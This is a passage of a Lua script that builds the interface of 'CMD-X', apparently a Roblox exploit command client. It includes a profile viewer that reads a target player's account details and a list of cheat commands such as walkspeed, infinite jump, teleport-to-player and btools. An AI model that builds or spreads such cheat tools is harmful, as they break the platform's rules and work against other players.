784CMDlist.Visible = false
785CMDlist.Active = true
786CMDlist.Draggable = true
787
788cmdstitle.Name = "cmdstitle"
789cmdstitle.Parent = CMDlist
790cmdstitle.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
791cmdstitle.BorderColor3 = Color3.new(1, 1, 1)
792cmdstitle.Position = UDim2.new(-1.1920929e-07, 0, 0, 0)
793cmdstitle.Size = UDim2.new(0, 300, 0, 29)
794cmdstitle.Font = Enum.Font.GothamBlack
795cmdstitle.Text = "CMD-X CMD LIST"
796cmdstitle.TextColor3 = Color3.new(1, 1, 1)
797cmdstitle.TextSize = 14
798
799configframe.Name = "configframe"
800configframe.Parent = Unnamed
801configframe.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
802configframe.BackgroundTransparency = 1
803configframe.BorderSizePixel = 0
804configframe.Position = UDim2.new(0.28193146, 0, 0.0159704965, 0)
805configframe.Size = UDim2.new(0, 300, 0, 433)
806configframe.Active = true
807configframe.Draggable = true
808configframe.Visible = false
809
810configtitle.Name = "configtitle"
811configtitle.Parent = configframe
812configtitle.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
813configtitle.BorderColor3 = Color3.new(1, 1, 1)
814configtitle.Position = UDim2.new(-1.1920929e-07, 0, 0, 0)
815configtitle.Size = UDim2.new(0, 300, 0, 29)
816configtitle.Font = Enum.Font.GothamBlack
817configtitle.Text = "CMD-X CONFIG"
818configtitle.TextColor3 = Color3.new(1, 1, 1)
819configtitle.TextSize = 14
820
821af2.Name = "af2"
822af2.Parent = configframe
823af2.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
824af2.BackgroundTransparency = 0.30000001192093
825af2.BorderSizePixel = 0
826af2.Position = UDim2.new(0, 0, 0.0680000037, 0)
827af2.Size = UDim2.new(0, 300, 0, 404)
828
829osconfigtext.Name = "osconfigtext"
830osconfigtext.Parent = configframe
831osconfigtext.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
832osconfigtext.BorderColor3 = Color3.new(1, 1, 1)
833osconfigtext.Position = UDim2.new(0.226666674, 0, 0.129330248, 0)
834osconfigtext.Size = UDim2.new(0, 76, 0, 29)
835osconfigtext.Font = Enum.Font.GothamBlack
836osconfigtext.Text = "Text (Scientific)"
837osconfigtext.TextColor3 = Color3.new(1, 1, 1)
838
839osconfigtext2.Name = "osconfigtext2"
840osconfigtext2.Parent = configframe
841osconfigtext2.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
842osconfigtext2.BorderColor3 = Color3.new(1, 1, 1)
843osconfigtext2.Position = UDim2.new(0.51666671, 0, 0.129330248, 0)
844osconfigtext2.Size = UDim2.new(0, 76, 0, 29)
845osconfigtext2.Font = Enum.Font.GothamBlack
846osconfigtext2.Text = "Text (Simple)"
847osconfigtext2.TextColor3 = Color3.new(1, 1, 1)
848osconfigtext2.TextSize = 9
849
850oscheck2.Name = "oscheck2"
851oscheck2.Parent = configframe
852oscheck2.BackgroundColor3 = Color3.new(1, 1, 1)
853oscheck2.BackgroundTransparency = 1
854oscheck2.BorderSizePixel = 0
855oscheck2.Position = UDim2.new(0.183333278, 0, 0.221708983, 0)
856oscheck2.Size = UDim2.new(0, 190, 0, 19)
857oscheck2.Font = Enum.Font.Gotham
858oscheck2.Text = "Win32 Windows"
859oscheck2.TextColor3 = Color3.new(1, 1, 1)
860oscheck2.TextSize = 14
861
862oscheck.Name = "oscheck"
863oscheck.Parent = configframe
864oscheck.BackgroundColor3 = Color3.new(1, 1, 1)
865oscheck.BackgroundTransparency = 1
866oscheck.BorderSizePixel = 0
867oscheck.Position = UDim2.new(0.180000007, 0, 0.0669745803, 0)
868oscheck.Size = UDim2.new(0, 190, 0, 30)
869oscheck.Font = Enum.Font.GothamBlack
870oscheck.Text = "Operating System"
871oscheck.TextColor3 = Color3.new(1, 1, 1)
872oscheck.TextSize = 14
873
874profile.Name = "profile"
875profile.Parent = CMDlist
876profile.BackgroundColor3 = Color3.new(1, 1, 1)
877profile.BackgroundTransparency = 1
878profile.BorderSizePixel = 0
879profile.Position = UDim2.new(0.0233333334, 0, 0.0877597779, 0)
880profile.Size = UDim2.new(0, 286, 0, 388)
881profile.Font = Enum.Font.GothamBlack
882profile.Text = "The CMD-X CMD LIST is currently under construction please navigate to the .LUA file for the pastebin containing them."
883profile.TextColor3 = Color3.new(1, 1, 1)
884profile.TextScaled = true
885profile.TextSize = 14
886profile.TextWrapped = true
887profile.TextXAlignment = Enum.TextXAlignment.Left
888profile.TextYAlignment = Enum.TextYAlignment.Top
889
890avatarframe.Name = "avatarframe"
891avatarframe.Parent = Unnamed
892avatarframe.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
893avatarframe.BackgroundTransparency = 0.30000001192093
894avatarframe.BorderSizePixel = 0
895avatarframe.Position = UDim2.new(0.28193146, 0, 0.0159704965, 0)
896avatarframe.Size = UDim2.new(0, 300, 0, 433)
897avatarframe.Visible = false
898avatarframe.Active = true
899avatarframe.Draggable = true
900
901gameframe.Name = "gameframe"
902gameframe.Parent = Unnamed
903gameframe.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
904gameframe.BackgroundTransparency = 0.30000001192093
905gameframe.BorderSizePixel = 0
906gameframe.Position = UDim2.new(0.28193146, 0, 0.0159704965, 0)
907gameframe.Size = UDim2.new(0, 300, 0, 433)
908gameframe.Visible = false
909gameframe.Active = true
910gameframe.Draggable = true
911
912gametitle.Name = "gametitle"
913gametitle.Parent = gameframe
914gametitle.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
915gametitle.BorderColor3 = Color3.new(1, 1, 1)
916gametitle.Size = UDim2.new(0, 300, 0, 29)
917gametitle.Font = Enum.Font.GothamBlack
918gametitle.Text = "CMD-X GAME VIEWER"
919gametitle.TextColor3 = Color3.new(1, 1, 1)
920gametitle.TextSize = 14
921
922fecheck.Name = "fecheck"
923fecheck.Parent = gameframe
924fecheck.BackgroundColor3 = Color3.new(1, 1, 1)
925fecheck.BackgroundTransparency = 1
926fecheck.BorderSizePixel = 0
927fecheck.Position = UDim2.new(0.183333337, 0, 0.725173175, 0)
928fecheck.Size = UDim2.new(0, 190, 0, 19)
929fecheck.Font = Enum.Font.Gotham
930fecheck.Text = "Filtering:.."
931fecheck.TextColor3 = Color3.new(1, 1, 1)
932fecheck.TextSize = 14
933
934gameimage.Name = "gameimage"
935gameimage.Parent = gameframe
936gameimage.BackgroundColor3 = Color3.new(1, 1, 1)
937gameimage.BackgroundTransparency = 1
938gameimage.BorderSizePixel = 0
939gameimage.Position = UDim2.new(0.183333337, 0, 0.104622021, 0)
940gameimage.Size = UDim2.new(0, 190, 0, 190)
941gameimage.Image = "rbxasset://textures/ui/GuiImagePlaceholder.png"
942
943gameview.Name = "gameview"
944gameview.Parent = gameframe
945gameview.BackgroundColor3 = Color3.new(1, 1, 1)
946gameview.BackgroundTransparency = 1
947gameview.BorderSizePixel = 0
948gameview.Position = UDim2.new(0.183333337, 0, 0.568129301, 0)
949gameview.Size = UDim2.new(0, 190, 0, 30)
950gameview.Font = Enum.Font.GothamBlack
951gameview.Text = "You are playing.."
952gameview.TextColor3 = Color3.new(1, 1, 1)
953gameview.TextSize = 14
954
955gameid.Name = "gameid"
956gameid.Parent = gameframe
957gameid.BackgroundColor3 = Color3.new(1, 1, 1)
958gameid.BackgroundTransparency = 1
959gameid.BorderSizePixel = 0
960gameid.Position = UDim2.new(0.183333337, 0, 0.637413383, 0)
961gameid.Size = UDim2.new(0, 190, 0, 19)
962gameid.Font = Enum.Font.Gotham
963gameid.Text = "ID of game:.."
964gameid.TextColor3 = Color3.new(1, 1, 1)
965gameid.TextSize = 14
966
967uptime.Name = "uptime"
968uptime.Parent = gameframe
969uptime.BackgroundColor3 = Color3.new(1, 1, 1)
970uptime.BackgroundTransparency = 1
971uptime.BorderSizePixel = 0
972uptime.Position = UDim2.new(0.183333337, 0, 0.681293309, 0)
973uptime.Size = UDim2.new(0, 190, 0, 19)
974uptime.Font = Enum.Font.Gotham
975uptime.Text = "uptime..workspace.DistributedGameTime"
976uptime.TextColor3 = Color3.new(1, 1, 1)
977uptime.TextSize = 14
978
979creditsgame.Name = "creditsgame"
980creditsgame.Parent = gameframe
981creditsgame.BackgroundColor3 = Color3.new(1, 1, 1)
982creditsgame.BackgroundTransparency = 1
983creditsgame.BorderSizePixel = 0
984creditsgame.Position = UDim2.new(0.183333337, 0, 0.889145553, 0)
985creditsgame.Size = UDim2.new(0, 190, 0, 19)
986creditsgame.Font = Enum.Font.GothamBlack
987creditsgame.Text = "Made by pigeon#1818"
988creditsgame.TextColor3 = Color3.new(1, 1, 1)
989creditsgame.TextSize = 14
990
991xconfig.Name = "xconfig"
992xconfig.Parent = configtitle
993xconfig.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
994xconfig.BorderColor3 = Color3.new(1, 1, 1)
995xconfig.Position = UDim2.new(0.903333306, 0, 0, 0)
996xconfig.Size = UDim2.new(0, 29, 0, 29)
997xconfig.Font = Enum.Font.GothamBlack
998xconfig.Text = "X"
999xconfig.TextColor3 = Color3.new(1, 1, 1)
1000xconfig.TextSize = 20
1001xconfig.MouseButton1Down:connect(function()
1002 configframe:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .5, false, function() configframe.Visible = false end)
1003end)
1004
1005xgameinfo.Name = "xgameinfo"
1006xgameinfo.Parent = gametitle
1007xgameinfo.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
1008xgameinfo.BorderColor3 = Color3.new(1, 1, 1)
1009xgameinfo.Position = UDim2.new(0.903333306, 0, 0, 0)
1010xgameinfo.Size = UDim2.new(0, 29, 0, 29)
1011xgameinfo.Font = Enum.Font.GothamBlack
1012xgameinfo.Text = "X"
1013xgameinfo.TextColor3 = Color3.new(1, 1, 1)
1014xgameinfo.TextSize = 20
1015xgameinfo.MouseButton1Down:connect(function()
1016 gameframe:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .5, false, function() gameframe.Visible = false end)
1017end)
1018
1019xlogs.Name = "xlogs"
1020xlogs.Parent = logstitle
1021xlogs.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
1022xlogs.BorderColor3 = Color3.new(1, 1, 1)
1023xlogs.Position = UDim2.new(0.903333306, 0, 0, 0)
1024xlogs.Size = UDim2.new(0, 29, 0, 29)
1025xlogs.Font = Enum.Font.GothamBlack
1026xlogs.Text = "X"
1027xlogs.TextColor3 = Color3.new(1, 1, 1)
1028xlogs.TextSize = 20
1029xlogs.MouseButton1Down:connect(function()
1030 logsframe:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .5, false, function() logsframe.Visible = false end)
1031 logsEnabled = false
1032end)
1033
1034xcmdi.Name = "xcmdi"
1035xcmdi.Parent = cmdititle
1036xcmdi.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
1037xcmdi.BorderColor3 = Color3.new(1, 1, 1)
1038xcmdi.Position = UDim2.new(0.903333306, 0, 0, 0)
1039xcmdi.Size = UDim2.new(0, 29, 0, 29)
1040xcmdi.Font = Enum.Font.GothamBlack
1041xcmdi.Text = "X"
1042xcmdi.TextColor3 = Color3.new(1, 1, 1)
1043xcmdi.TextSize = 20
1044xcmdi.MouseButton1Down:connect(function()
1045 cmdiframe:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .5, false, function() cmdiframe.Visible = false end)
1046end)
1047
1048xavatar.Name = "xavatar"
1049xavatar.Parent = avatartitle
1050xavatar.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
1051xavatar.BorderColor3 = Color3.new(1, 1, 1)
1052xavatar.Position = UDim2.new(0.903333306, 0, 0, 0)
1053xavatar.Size = UDim2.new(0, 29, 0, 29)
1054xavatar.Font = Enum.Font.GothamBlack
1055xavatar.Text = "X"
1056xavatar.TextColor3 = Color3.new(1, 1, 1)
1057xavatar.TextSize = 20
1058xavatar.MouseButton1Down:connect(function()
1059 avatarframe:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .5, false, function() avatarframe.Visible = false end)
1060end)
1061
1062xcmds.Name = "xcmds"
1063xcmds.Parent = cmdstitle
1064xcmds.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
1065xcmds.BorderColor3 = Color3.new(1, 1, 1)
1066xcmds.Position = UDim2.new(0.903333306, 0, 0, 0)
1067xcmds.Size = UDim2.new(0, 29, 0, 29)
1068xcmds.Font = Enum.Font.GothamBlack
1069xcmds.Text = "X"
1070xcmds.TextColor3 = Color3.new(1, 1, 1)
1071xcmds.TextSize = 20
1072xcmds.MouseButton1Down:connect(function()
1073 CMDlist:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .5, false, function() CMDlist.Visible = false end)
1074end)
1075
1076CMDlist:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .5, false, function() CMDlist.Visible = false end)
1077avatarframe:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .5, false, function() avatarframe.Visible = false end)
1078logsframe:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .5, false, function() logsframe.Visible = false end)
1079gameframe:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .5, false, function() gameframe.Visible = false end)
1080configframe:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .5, false, function() configframe.Visible = false end)
1081cmdiframe:TweenSize(UDim2.new(0,0,0,0), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .5, false, function() cmdiframe.Visible = false end)
1082
1083avatartitle.Name = "avatartitle"
1084avatartitle.Parent = avatarframe
1085avatartitle.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
1086avatartitle.BorderColor3 = Color3.new(1, 1, 1)
1087avatartitle.Size = UDim2.new(0, 300, 0, 29)
1088avatartitle.Font = Enum.Font.GothamBlack
1089avatartitle.Text = "CMD-X PROFILE VIEWER"
1090avatartitle.TextColor3 = Color3.new(1, 1, 1)
1091avatartitle.TextSize = 14
1092
1093avatarimage.Name = "avatarimage"
1094avatarimage.Parent = avatarframe
1095avatarimage.BackgroundColor3 = Color3.new(1, 1, 1)
1096avatarimage.BackgroundTransparency = 1
1097avatarimage.BorderSizePixel = 0
1098avatarimage.Position = UDim2.new(0.183333337, 0, 0.104622021, 0)
1099avatarimage.Size = UDim2.new(0, 190, 0, 190)
1100avatarimage.Image = "rbxasset://textures/ui/GuiImagePlaceholder.png"
1101
1102hs.Name = "hs"
1103hs.Parent = avatarframe
1104hs.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
1105hs.BorderColor3 = Color3.new(1, 1, 1)
1106hs.Position = UDim2.new(0.183333337, 0, 0.524249375, 0)
1107hs.Size = UDim2.new(0, 62, 0, 18)
1108hs.Font = Enum.Font.GothamBlack
1109hs.Text = "HS"
1110hs.TextColor3 = Color3.new(1, 1, 1)
1111hs.TextSize = 14
1112
1113hss.Name = "hs"
1114hss.Parent = avatarframe
1115hss.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
1116hss.BorderColor3 = Color3.new(1, 1, 1)
1117hss.Position = UDim2.new(0.183333337, 0, 0.524249375, 0)
1118hss.Size = UDim2.new(0, 62, 0, 18)
1119hss.Font = Enum.Font.GothamBlack
1120hss.Text = "HS"
1121hss.TextColor3 = Color3.new(1, 1, 1)
1122hss.TextSize = 14
1123hss.Visible = false
1124
1125at.Name = "at"
1126at.Parent = avatarframe
1127at.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
1128at.BorderColor3 = Color3.new(1, 1, 1)
1129at.Position = UDim2.new(0.390000045, 0, 0.524249434, 0)
1130at.Size = UDim2.new(0, 65, 0, 18)
1131at.Font = Enum.Font.GothamBlack
1132at.Text = "AT"
1133at.TextColor3 = Color3.new(1, 1, 1)
1134at.TextSize = 14
1135
1136ab.Name = "ab"
1137ab.Parent = avatarframe
1138ab.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
1139ab.BorderColor3 = Color3.new(1, 1, 1)
1140ab.Position = UDim2.new(0.610000014, 0, 0.524249434, 0)
1141ab.Size = UDim2.new(0, 62, 0, 18)
1142ab.Font = Enum.Font.GothamBlack
1143ab.Text = "AB"
1144ab.TextColor3 = Color3.new(1, 1, 1)
1145ab.TextSize = 14
1146
1147profileview.Name = "profileview"
1148profileview.Parent = avatarframe
1149profileview.BackgroundColor3 = Color3.new(1, 1, 1)
1150profileview.BackgroundTransparency = 1
1151profileview.BorderSizePixel = 0
1152profileview.Position = UDim2.new(0.183333337, 0, 0.568129301, 0)
1153profileview.Size = UDim2.new(0, 190, 0, 30)
1154profileview.Font = Enum.Font.GothamBlack
1155profileview.Text = "target's profile..:"
1156profileview.TextColor3 = Color3.new(1, 1, 1)
1157profileview.TextSize = 14
1158
1159accountage.Name = "accountage"
1160accountage.Parent = avatarframe
1161accountage.BackgroundColor3 = Color3.new(1, 1, 1)
1162accountage.BackgroundTransparency = 1
1163accountage.BorderSizePixel = 0
1164accountage.Position = UDim2.new(0.183333337, 0, 0.637413383, 0)
1165accountage.Size = UDim2.new(0, 190, 0, 19)
1166accountage.Font = Enum.Font.Gotham
1167accountage.Text = "target.AccountAge"
1168accountage.TextColor3 = Color3.new(1, 1, 1)
1169accountage.TextSize = 14
1170
1171userid.Name = "userid"
1172userid.Parent = avatarframe
1173userid.BackgroundColor3 = Color3.new(1, 1, 1)
1174userid.BackgroundTransparency = 1
1175userid.BorderSizePixel = 0
1176userid.Position = UDim2.new(0.183333337, 0, 0.681293309, 0)
1177userid.Size = UDim2.new(0, 190, 0, 19)
1178userid.Font = Enum.Font.Gotham
1179userid.Text = "target.UserID"
1180userid.TextColor3 = Color3.new(1, 1, 1)
1181userid.TextSize = 14
1182
1183operatingsystem.Name = "operatingsystem"
1184operatingsystem.Parent = avatarframe
1185operatingsystem.BackgroundColor3 = Color3.new(1, 1, 1)
1186operatingsystem.BackgroundTransparency = 1
1187operatingsystem.BorderSizePixel = 0
1188operatingsystem.Position = UDim2.new(0.183333337, 0, 0.725173235, 0)
1189operatingsystem.Size = UDim2.new(0, 190, 0, 19)
1190operatingsystem.Font = Enum.Font.Gotham
1191operatingsystem.Text = "target.OperatingSystem"
1192operatingsystem.TextColor3 = Color3.new(1, 1, 1)
1193operatingsystem.TextSize = 14
1194
1195vrheadset.Name = "vrheadset"
1196vrheadset.Parent = avatarframe
1197vrheadset.BackgroundColor3 = Color3.new(1, 1, 1)
1198vrheadset.BackgroundTransparency = 1
1199vrheadset.BorderSizePixel = 0
1200vrheadset.Position = UDim2.new(0.183333337, 0, 0.769053161, 0)
1201vrheadset.Size = UDim2.new(0, 190, 0, 19)
1202vrheadset.Font = Enum.Font.Gotham
1203vrheadset.Text = "target.VRHeadset"
1204vrheadset.TextColor3 = Color3.new(1, 1, 1)
1205vrheadset.TextSize = 14
1206
1207creditsavatar.Name = "creditsavatar"
1208creditsavatar.Parent = avatarframe
1209creditsavatar.BackgroundColor3 = Color3.new(1, 1, 1)
1210creditsavatar.BackgroundTransparency = 1
1211creditsavatar.BorderSizePixel = 0
1212creditsavatar.Position = UDim2.new(0.183333337, 0, 0.889145553, 0)
1213creditsavatar.Size = UDim2.new(0, 190, 0, 19)
1214creditsavatar.Font = Enum.Font.GothamBlack
1215creditsavatar.Text = "Made by pigeon#1818"
1216creditsavatar.TextColor3 = Color3.new(1, 1, 1)
1217creditsavatar.TextSize = 14
1218
1219holder.Name = "holder"
1220holder.Parent = Unnamed
1221holder.BackgroundColor3 = Color3.new(1, 1, 1)
1222holder.BackgroundTransparency = 1
1223holder.Position = UDim2.new(0, SavedPos.X, 0, SavedPos.Y)
1224holder.Size = UDim2.new(0, 525, 0, 277)
1225holder.Active = false
1226
1227holder.Changed:Connect(function()
1228 SavedPos = {X = holder.AbsolutePosition.X, Y = holder.AbsolutePosition.Y}
1229 updatesaves()
1230end)
1231
1232entry.Name = "entry"
1233entry.Parent = holder
1234entry.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
1235entry.BorderSizePixel = 0
1236entry.Position = UDim2.new(-0.0152380951, 0, 0.965582669, 0)
1237entry.Size = UDim2.new(0, 525, 0, 38)
1238
1239user.Name = "user"
1240user.Parent = entry
1241user.BackgroundColor3 = Color3.new(1, 1, 1)
1242user.BackgroundTransparency = 1
1243user.Position = UDim2.new(-0.0152380941, 0, 0, 0)
1244user.Size = UDim2.new(0, 137, 0, 36)
1245user.Font = Enum.Font.Code
1246user.Text = prompt
1247user.TextColor3 = Color3.new(1, 0.333333, 0)
1248user.TextSize = 16
1249user.TextXAlignment = Enum.TextXAlignment.Right
1250
1251cmd.Name = "cmd"
1252cmd.Parent = cmdsu
1253cmd.BackgroundColor3 = Color3.new(1, 1, 1)
1254cmd.BackgroundTransparency = 1
1255cmd.BorderSizePixel = 0
1256cmd.Position = UDim2.new(-0, 0, 0, 0)
1257cmd.Size = UDim2.new(0, 341, 0, 35)
1258cmd.Font = Enum.Font.Code
1259cmd.PlaceholderText = "Enter CMD here"
1260cmd.Text = ""
1261cmd.TextWrapped = true
1262cmd.TextColor3 = Color3.fromRGB(255,255,255)
1263cmd.PlaceholderColor3 = Color3.fromRGB(255,255,255)
1264cmd.TextSize = 14
1265cmd.TextXAlignment = Enum.TextXAlignment.Left
1266cmd.ClearTextOnFocus = false
1267
1268cmdsu.Name = "cmdsu"
1269cmdsu.Parent = entry
1270cmdsu.BackgroundColor3 = Color3.new(1, 1, 1)
1271cmdsu.BackgroundTransparency = 1
1272cmdsu.BorderSizePixel = 0
1273cmdsu.Position = UDim2.new(0.274285644, 0, 0, 0)
1274cmdsu.Size = UDim2.new(0, 341, 0, 35)
1275cmdsu.Font = Enum.Font.Code
1276cmdsu.Text = ""
1277cmdsu.TextWrapped = true
1278cmdsu.TextColor3 = Color3.fromRGB(100,100,100)
1279cmdsu.TextSize = 14
1280cmdsu.TextXAlignment = Enum.TextXAlignment.Left
1281
1282output1.Name = "output1"
1283output1.Parent = output
1284output1.BackgroundColor3 = Color3.new(1, 1, 1)
1285output1.BackgroundTransparency = 1
1286output1.Position = UDim2.new(0.0157605428, 0, 0.849240005, 0)
1287output1.Size = UDim2.new(0, 500, 0, 27)
1288output1.Font = Enum.Font.Code
1289output1.Text = "Need help? discord.gg/DD2w2cZ"
1290output1.TextColor3 = Color3.new(0.698039, 0.698039, 0.698039)
1291output1.TextSize = 16
1292output1.TextXAlignment = Enum.TextXAlignment.Left
1293output1.TextWrapped = true
1294output1.TextTruncate = Enum.TextTruncate.AtEnd
1295
1296output2.Name = "output2"
1297output2.Parent = output
1298output2.BackgroundColor3 = Color3.new(1, 1, 1)
1299output2.BackgroundTransparency = 1
1300output2.Position = UDim2.new(0.0157605428, 0, 0.74252063, 0)
1301output2.Size = UDim2.new(0, 500, 0, 27)
1302output2.Font = Enum.Font.Code
1303output2.Text = "Current version: "..ver
1304output2.TextColor3 = Color3.new(0.698039, 0.698039, 0.698039)
1305output2.TextSize = 16
1306output2.TextXAlignment = Enum.TextXAlignment.Left
1307output2.TextWrapped = true
1308output2.TextTruncate = Enum.TextTruncate.AtEnd
1309
1310output3.Name = "output3"
1311output3.Parent = output
1312output3.BackgroundColor3 = Color3.new(1, 1, 1)
1313output3.BackgroundTransparency = 1
1314output3.Position = UDim2.new(0.0157605428, 0, 0.639753819, 0)
1315output3.Size = UDim2.new(0, 500, 0, 27)
1316output3.Font = Enum.Font.Code
1317output3.Text = "Made by pigeon#1818 and hz#4777"
1318output3.TextColor3 = Color3.new(0.698039, 0.698039, 0.698039)
1319output3.TextSize = 16
1320output3.TextXAlignment = Enum.TextXAlignment.Left
1321output3.TextWrapped = true
1322output3.TextTruncate = Enum.TextTruncate.AtEnd
1323
1324output4.Name = "output4"
1325output4.Parent = output
1326output4.BackgroundColor3 = Color3.new(1, 1, 1)
1327output4.BackgroundTransparency = 1
1328output4.Position = UDim2.new(0.0157605428, 0, 0.533034444, 0)
1329output4.Size = UDim2.new(0, 500, 0, 27)
1330output4.Font = Enum.Font.Code
1331output4.TextColor3 = Color3.new(0.698039, 0.698039, 0.698039)
1332output4.TextSize = 16
1333output4.TextXAlignment = Enum.TextXAlignment.Left
1334output4.TextWrapped = true
1335output4.TextTruncate = Enum.TextTruncate.AtEnd
1336
1337output5.Name = "output5"
1338output5.Parent = output
1339output5.BackgroundColor3 = Color3.new(1, 1, 1)
1340output5.BackgroundTransparency = 1
1341output5.Position = UDim2.new(0.0157605428, 0, 0.430267632, 0)
1342output5.Size = UDim2.new(0, 500, 0, 27)
1343output5.Font = Enum.Font.Code
1344output5.Text = ""
1345output5.TextColor3 = Color3.new(0.698039, 0.698039, 0.698039)
1346output5.TextSize = 16
1347output5.TextXAlignment = Enum.TextXAlignment.Left
1348output5.TextWrapped = true
1349output5.TextTruncate = Enum.TextTruncate.AtEnd
1350
1351output6.Name = "output6"
1352output6.Parent = output
1353output6.BackgroundColor3 = Color3.new(1, 1, 1)
1354output6.BackgroundTransparency = 1
1355output6.Position = UDim2.new(0.0157605428, 0, 0.323548257, 0)
1356output6.Size = UDim2.new(0, 500, 0, 27)
1357output6.Font = Enum.Font.Code
1358output6.Text = ""
1359output6.TextColor3 = Color3.new(0.698039, 0.698039, 0.698039)
1360output6.TextSize = 16
1361output6.TextXAlignment = Enum.TextXAlignment.Left
1362output6.TextWrapped = true
1363output6.TextTruncate = Enum.TextTruncate.AtEnd
1364
1365output7.Name = "output7"
1366output7.Parent = output
1367output7.BackgroundColor3 = Color3.new(1, 1, 1)
1368output7.BackgroundTransparency = 1
1369output7.Position = UDim2.new(0.0157605428, 0, 0.22078146, 0)
1370output7.Size = UDim2.new(0, 500, 0, 27)
1371output7.Font = Enum.Font.Code
1372output7.Text = ""
1373output7.TextColor3 = Color3.new(0.698039, 0.698039, 0.698039)
1374output7.TextSize = 16
1375output7.TextXAlignment = Enum.TextXAlignment.Left
1376output7.TextWrapped = true
1377output7.TextTruncate = Enum.TextTruncate.AtEnd
1378
1379output8.Name = "output8"
1380output8.Parent = output
1381output8.BackgroundColor3 = Color3.new(1, 1, 1)
1382output8.BackgroundTransparency = 1
1383output8.Position = UDim2.new(0.0157605428, 0, 0.114062086, 0)
1384output8.Size = UDim2.new(0, 500, 0, 27)
1385output8.Font = Enum.Font.Code
1386output8.Text = ""
1387output8.TextColor3 = Color3.new(0.698039, 0.698039, 0.698039)
1388output8.TextSize = 16
1389output8.TextXAlignment = Enum.TextXAlignment.Left
1390output8.TextWrapped = true
1391output8.TextTruncate = Enum.TextTruncate.AtEnd
1392
1393output9.Name = "output9"
1394output9.Parent = output
1395output9.BackgroundColor3 = Color3.new(1, 1, 1)
1396output9.BackgroundTransparency = 1
1397output9.Position = UDim2.new(0.0157605428, 0, 0.0112952888, 0)
1398output9.Size = UDim2.new(0, 500, 0, 27)
1399output9.Font = Enum.Font.Code
1400output9.Text = ""
1401output9.TextColor3 = Color3.new(0.698039, 0.698039, 0.698039)
1402output9.TextSize = 16
1403output9.TextXAlignment = Enum.TextXAlignment.Left
1404output9.TextWrapped = true
1405output9.TextTruncate = Enum.TextTruncate.AtEnd
1406
1407name.Name = "name"
1408name.Parent = Unnamed
1409name.Active = true
1410name.Draggable = true
1411name.BackgroundColor3 = Color3.new(0.0823529, 0.0823529, 0.0823529)
1412name.BorderSizePixel = 0
1413name.Position = UDim2.new(0.683800638, 0, 0.119778864, 0)
1414name.Size = UDim2.new(0, 214, 0, 30)
1415name.Visible = false
1416
1417ehcmdshit.Name = "ehcmdshit"
1418ehcmdshit.Parent = name
1419ehcmdshit.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
1420ehcmdshit.BorderSizePixel = 0
1421ehcmdshit.Position = UDim2.new(0, 0, 1.00000024, 0)
1422ehcmdshit.Size = UDim2.new(0, 214, 0, 263)
1423
1424cmdslool.Name = "cmdslool"
1425cmdslool.Parent = ehcmdshit
1426cmdslool.BackgroundColor3 = Color3.new(1, 1, 1)
1427cmdslool.BackgroundTransparency = 1
1428cmdslool.Position = UDim2.new(0.0420560762, 0, 0.0418250933, 0)
1429cmdslool.Size = UDim2.new(0, 177, 0, 675)
1430cmdslool.Font = Enum.Font.Gotham
1431cmdslool.Text =
1432"-Jp or jumppower - changes\
1433jumppower\
1434-Ws or walkspeed - changes\
1435walkspeed\
1436-Infjump or ij or infinite jump -\
1437fly method that abuses sitting\
1438-loadcustoms - lists custom\
1439dev scripts\
1440-loadcustom (script) - loads\
1441custom dev script\
1442-djp or defaultjumppower\
1443-dws or defaultwalkspeed\
1444-goto or to - tps to player\
1445-btools - building tools\
1446-sit - s i t\
1447-ragdoll - ragdolls player\
1448-gearmesh - turns gear into mesh"
1449cmdslool.TextColor3 = Color3.new(1, 1, 1)
1450cmdslool.TextSize = 13
1451cmdslool.TextXAlignment = Enum.TextXAlignment.Left
1452cmdslool.TextYAlignment = Enum.TextYAlignment.Top
1453
1454shitlabeljpeg.Name = "shitlabeljpeg"
1455shitlabeljpeg.Parent = name
1456shitlabeljpeg.BackgroundColor3 = Color3.new(1, 1, 1)
1457shitlabeljpeg.BackgroundTransparency = 1
1458shitlabeljpeg.BorderSizePixel = 0
1459shitlabeljpeg.Size = UDim2.new(0, 214, 0, 29)
